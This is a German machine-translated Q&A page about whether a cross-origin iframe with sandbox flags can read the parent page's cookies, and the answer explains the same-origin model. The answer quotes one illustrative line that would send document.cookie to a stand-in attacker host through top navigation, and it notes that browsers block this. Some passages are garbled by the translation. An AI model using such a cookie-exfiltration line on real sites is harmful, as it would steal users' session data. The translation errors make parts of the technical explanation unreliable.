it-swarm.com.de

Wie kann ich bestätigen, dass ein eingebetteter Iframe Cookies von Eltern lesen kann?

Ich habe diesen HTML-Code, den ich möglicherweise auf meine Website stelle, die wir aus Sicherheitsgründen evaluieren. Der Code lautet im Wesentlichen wie folgt:

<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-Origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

Mein Ziel ist es, auf glenpierce.github.io etwas zu schreiben, das die Cookies des übergeordneten Iframes liest und auf der Konsole druckt, um zu beweisen, dass dieser Iframe Zugriff auf die Cookies des übergeordneten Elements hat, wenn diese Flags gesetzt sind. Bisher konnte ich nicht in Chrome 65 mit document.cookie Oder parent.document.

Mir ist klar, dass dies unsicher ist und es andere Gründe gibt, diese Flags nicht zuzulassen, aber ich bin speziell daran interessiert zu beweisen, dass ich Zugriff auf die Cookies der Eltern (und/oder den lokalen Speicher) habe.

10
Glen Pierce

Als erstes ist zu beachten, dass iframes (standardmäßig) nicht so tun, als wären sie Teil desselben Ursprungs , es sei denn, sie sind . Wenn sich der Iframe-Ursprung (im Attribut src) und der übergeordnete Ursprung unterscheiden, wird der Iframe immer aus einer Sandbox entfernt the parent. Dies führt zu einer Reihe von Einschränkungen, z. B. dass die meisten Eigenschaften des window.parent - Objekts nicht aufgerufen werden können.

Mit dem Attribut sandbox können Sie festlegen, dass ein iframe mit gleichem Ursprung dieselben Einschränkungen aufweist wie iframes mit mehreren Ursprüngen [1] . Die Werte von sandbox sind Ausnahmen vom Sandbox-Attribut und nicht vom iframe-Sicherheitsmodell im Allgemeinen. Daher bewirkt allow-same-Origin nicht, dass ein Cross-Origin-Iframe so wirkt, als wäre er derselbe Ursprung wie die übergeordnete Seite. Es lässt lediglich einen Iframe mit demselben Ursprung das gleiche Origin-Zeug ausführen, das er hätte tun können , wenn er nicht in einer Sandbox gespeichert worden wäre . Wenn das übergeordnete Element und der Iframe Cross-Origin sind, wird dies durch keine Anzahl von allow-same-Origin Oder allow-top-navigation Behebung behoben.


Für Iframes, die tatsächlich denselben Ursprung haben und , sind entweder nicht sandboxed oder haben den Sandbox-Attributwert allow-same-Origin, window.parent.document.cookie Mit dieser Option können Sie Cookies setzen oder lesen (nicht -HttpOnly).

Ein Ansatz, von dem Sie erwarten können, dass er Cross-Origin funktioniert, ist die Top-Navigation. Selbst Cross-Origin-Iframes können, wenn sie nicht in einer Sandbox gespeichert sind (oder wenn die Sandbox allow-top-navigation Hat), die URL ihres übergeordneten Elements festlegen (aber nicht abrufen). Sie könnten denken, dass Sie so etwas tun könnten: parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie" Wenn dies erfolgreich wäre, würde es Javascript im Kontext der übergeordneten Seite ausführen und die (nicht HttpOnly) Cookies dieser Seite exfiltrieren.

Glücklicherweise sind Browser-Entwickler mit solchen Tricks vertraut. Ein iframe (das ist eine Top-Navigation erlaubt) kann die Top-Seite auf viele Dinge verweisen, aber eine javascript: URI ist keine davon.

Es ist natürlich immer noch gefährlich, nicht vertrauenswürdigen Iframes die Top-Navigation zu erlauben. Sie können es möglicherweise nicht nutzen, um Skripte einzufügen oder Cookies zu stehlen (nicht ohne eine Sicherheitsanfälligkeit bezüglich der Injektion, wie z. B. ein XSS), aber sie können beispielsweise den Benutzer zu einer ähnlichen URL navigieren, die denselben Inhalt anzeigt, aber tatsächlich vorhanden ist eine Phishing-Site zum Beispiel.

Das filtert die Cookies natürlich nicht heraus, sondern zeigt lediglich, dass sie lesbar sind, aber es ist eine Möglichkeit, allow-top-navigation Auszunutzen.


[1] Und dann einige; Die extremeren Einschränkungen sind strenger als die standardmäßigen Cross-Origin-Einschränkungen. Dies bedeutet, dass Sandbox-Cross-Origin-Iframes nicht unbedingt redundant sind. Beispielsweise sind originübergreifende Iframes standardmäßig für die meisten Formen der Top-Navigation und zum Ausführen von Skripten zulässig, die nicht versuchen, mit dem Objekt window.parent Zu interagieren, aber Sie können diese mit Sandboxing blockieren.

14
CBHacking